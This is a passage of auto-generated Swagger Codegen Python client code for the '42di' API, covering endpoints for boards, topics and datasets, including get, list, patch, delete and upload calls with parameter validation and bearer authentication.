for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_board" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'board_id' is set
if ('board_id' not in params or
params['board_id'] is None):
raise ValueError("Missing the required parameter `board_id` when calling `get_board`") # noqa: E501
collection_formats = {}
path_params = {}
if 'board_id' in params:
path_params['board_id'] = params['board_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/boards/{board_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Board', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_topic(self, board_id, topic_id, **kwargs): # noqa: E501
"""Get Topic # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_topic(board_id, topic_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param str topic_id: the **Topic** identity (required)
:return: Topic
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_topic_with_http_info(board_id, topic_id, **kwargs) # noqa: E501
else:
(data) = self.get_topic_with_http_info(board_id, topic_id, **kwargs) # noqa: E501
return data
def get_topic_with_http_info(self, board_id, topic_id, **kwargs): # noqa: E501
"""Get Topic # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_topic_with_http_info(board_id, topic_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param str topic_id: the **Topic** identity (required)
:return: Topic
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['board_id', 'topic_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_topic" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'board_id' is set
if ('board_id' not in params or
params['board_id'] is None):
raise ValueError("Missing the required parameter `board_id` when calling `get_topic`") # noqa: E501
# verify the required parameter 'topic_id' is set
if ('topic_id' not in params or
params['topic_id'] is None):
raise ValueError("Missing the required parameter `topic_id` when calling `get_topic`") # noqa: E501
collection_formats = {}
path_params = {}
if 'board_id' in params:
path_params['board_id'] = params['board_id'] # noqa: E501
if 'topic_id' in params:
path_params['topic_id'] = params['topic_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/boards/{board_id}/topics/{topic_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Topic', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_topics(self, board_id, **kwargs): # noqa: E501
"""List Topics # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_topics(board_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:return: list[Topic]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_topics_with_http_info(board_id, **kwargs) # noqa: E501
else:
(data) = self.list_topics_with_http_info(board_id, **kwargs) # noqa: E501
return data
def list_topics_with_http_info(self, board_id, **kwargs): # noqa: E501
"""List Topics # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_topics_with_http_info(board_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:return: list[Topic]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['board_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_topics" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'board_id' is set
if ('board_id' not in params or
params['board_id'] is None):
raise ValueError("Missing the required parameter `board_id` when calling `list_topics`") # noqa: E501
collection_formats = {}
path_params = {}
if 'board_id' in params:
path_params['board_id'] = params['board_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/boards/{board_id}/topics', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Topic]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_topic_property(self, board_id, topic_id, **kwargs): # noqa: E501
"""Update Topic property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_topic_property(board_id, topic_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param str topic_id: the **Topic** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_topic_property_with_http_info(board_id, topic_id, **kwargs) # noqa: E501
else:
(data) = self.update_topic_property_with_http_info(board_id, topic_id, **kwargs) # noqa: E501
return data
def update_topic_property_with_http_info(self, board_id, topic_id, **kwargs): # noqa: E501
"""Update Topic property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_topic_property_with_http_info(board_id, topic_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param str topic_id: the **Topic** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['board_id', 'topic_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_topic_property" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'board_id' is set
if ('board_id' not in params or
params['board_id'] is None):
raise ValueError("Missing the required parameter `board_id` when calling `update_topic_property`") # noqa: E501
# verify the required parameter 'topic_id' is set
if ('topic_id' not in params or
params['topic_id'] is None):
raise ValueError("Missing the required parameter `topic_id` when calling `update_topic_property`") # noqa: E501
collection_formats = {}
path_params = {}
if 'board_id' in params:
path_params['board_id'] = params['board_id'] # noqa: E501
if 'topic_id' in params:
path_params['topic_id'] = params['topic_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/boards/{board_id}/topics/{topic_id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/boards_api.py
|
boards_api.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class DatasetsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def delete_dataset(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Delete Dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_dataset(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_dataset_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
else:
(data) = self.delete_dataset_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
return data
def delete_dataset_with_http_info(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Delete Dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_dataset_with_http_info(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_dataset" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `delete_dataset`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `delete_dataset`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `delete_dataset`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_dataset(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Get Dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_dataset(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param bool schema: get schema
:return: Dataset
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_dataset_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
else:
(data) = self.get_dataset_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
return data
def get_dataset_with_http_info(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Get Dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_dataset_with_http_info(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param bool schema: get schema
:return: Dataset
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id', 'schema'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_dataset" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_dataset`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_dataset`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `get_dataset`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
query_params = []
if 'schema' in params:
query_params.append(('schema', params['schema'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Dataset', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_dataset_data_file(self, team_id, project_id, dataset_id, data_file_name, **kwargs): # noqa: E501
"""Get Dataset DataFile # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_dataset_data_file(team_id, project_id, dataset_id, data_file_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param str data_file_name: File name. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_dataset_data_file_with_http_info(team_id, project_id, dataset_id, data_file_name, **kwargs) # noqa: E501
else:
(data) = self.get_dataset_data_file_with_http_info(team_id, project_id, dataset_id, data_file_name, **kwargs) # noqa: E501
return data
def get_dataset_data_file_with_http_info(self, team_id, project_id, dataset_id, data_file_name, **kwargs): # noqa: E501
"""Get Dataset DataFile # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_dataset_data_file_with_http_info(team_id, project_id, dataset_id, data_file_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param str data_file_name: File name. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id', 'data_file_name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_dataset_data_file" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_dataset_data_file`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_dataset_data_file`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `get_dataset_data_file`") # noqa: E501
# verify the required parameter 'data_file_name' is set
if ('data_file_name' not in params or
params['data_file_name'] is None):
raise ValueError("Missing the required parameter `data_file_name` when calling `get_dataset_data_file`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
if 'data_file_name' in params:
path_params['data_file_name'] = params['data_file_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}/data/{data_file_name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_dataset_data_file_meta(self, team_id, project_id, dataset_id, data_file_name, **kwargs): # noqa: E501
"""Get Dataset DataFile meta # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_dataset_data_file_meta(team_id, project_id, dataset_id, data_file_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param str data_file_name: File name. (required)
:return: DataFile
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_dataset_data_file_meta_with_http_info(team_id, project_id, dataset_id, data_file_name, **kwargs) # noqa: E501
else:
(data) = self.get_dataset_data_file_meta_with_http_info(team_id, project_id, dataset_id, data_file_name, **kwargs) # noqa: E501
return data
def get_dataset_data_file_meta_with_http_info(self, team_id, project_id, dataset_id, data_file_name, **kwargs): # noqa: E501
"""Get Dataset DataFile meta # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_dataset_data_file_meta_with_http_info(team_id, project_id, dataset_id, data_file_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param str data_file_name: File name. (required)
:return: DataFile
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id', 'data_file_name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_dataset_data_file_meta" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_dataset_data_file_meta`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_dataset_data_file_meta`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `get_dataset_data_file_meta`") # noqa: E501
# verify the required parameter 'data_file_name' is set
if ('data_file_name' not in params or
params['data_file_name'] is None):
raise ValueError("Missing the required parameter `data_file_name` when calling `get_dataset_data_file_meta`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
if 'data_file_name' in params:
path_params['data_file_name'] = params['data_file_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}/data/{data_file_name}/meta', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataFile', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_dataset_data_files(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""List Dataset data files # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_dataset_data_files(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:return: list[DataFile]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_dataset_data_files_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
else:
(data) = self.list_dataset_data_files_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
return data
def list_dataset_data_files_with_http_info(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""List Dataset data files # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_dataset_data_files_with_http_info(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:return: list[DataFile]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_dataset_data_files" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `list_dataset_data_files`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `list_dataset_data_files`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `list_dataset_data_files`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}/data', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[DataFile]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_datasets(self, team_id, project_id, **kwargs): # noqa: E501
"""List Datasets # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_datasets(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:return: list[Dataset]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_datasets_with_http_info(team_id, project_id, **kwargs) # noqa: E501
else:
(data) = self.list_datasets_with_http_info(team_id, project_id, **kwargs) # noqa: E501
return data
def list_datasets_with_http_info(self, team_id, project_id, **kwargs): # noqa: E501
"""List Datasets # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_datasets_with_http_info(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:return: list[Dataset]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_datasets" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `list_datasets`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `list_datasets`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Dataset]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def put_dataset_data_file(self, team_id, project_id, dataset_id, data_file_name, **kwargs): # noqa: E501
"""Upload data to dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.put_dataset_data_file(team_id, project_id, dataset_id, data_file_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param str data_file_name: File name. (required)
:param Object body:
:param str x_di_tag: File tag.
:param str content_type: Content-Type.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.put_dataset_data_file_with_http_info(team_id, project_id, dataset_id, data_file_name, **kwargs) # noqa: E501
else:
(data) = self.put_dataset_data_file_with_http_info(team_id, project_id, dataset_id, data_file_name, **kwargs) # noqa: E501
return data
def put_dataset_data_file_with_http_info(self, team_id, project_id, dataset_id, data_file_name, **kwargs): # noqa: E501
"""Upload data to dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.put_dataset_data_file_with_http_info(team_id, project_id, dataset_id, data_file_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param str data_file_name: File name. (required)
:param Object body:
:param str x_di_tag: File tag.
:param str content_type: Content-Type.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id', 'data_file_name', 'body', 'x_di_tag', 'content_type'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method put_dataset_data_file" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
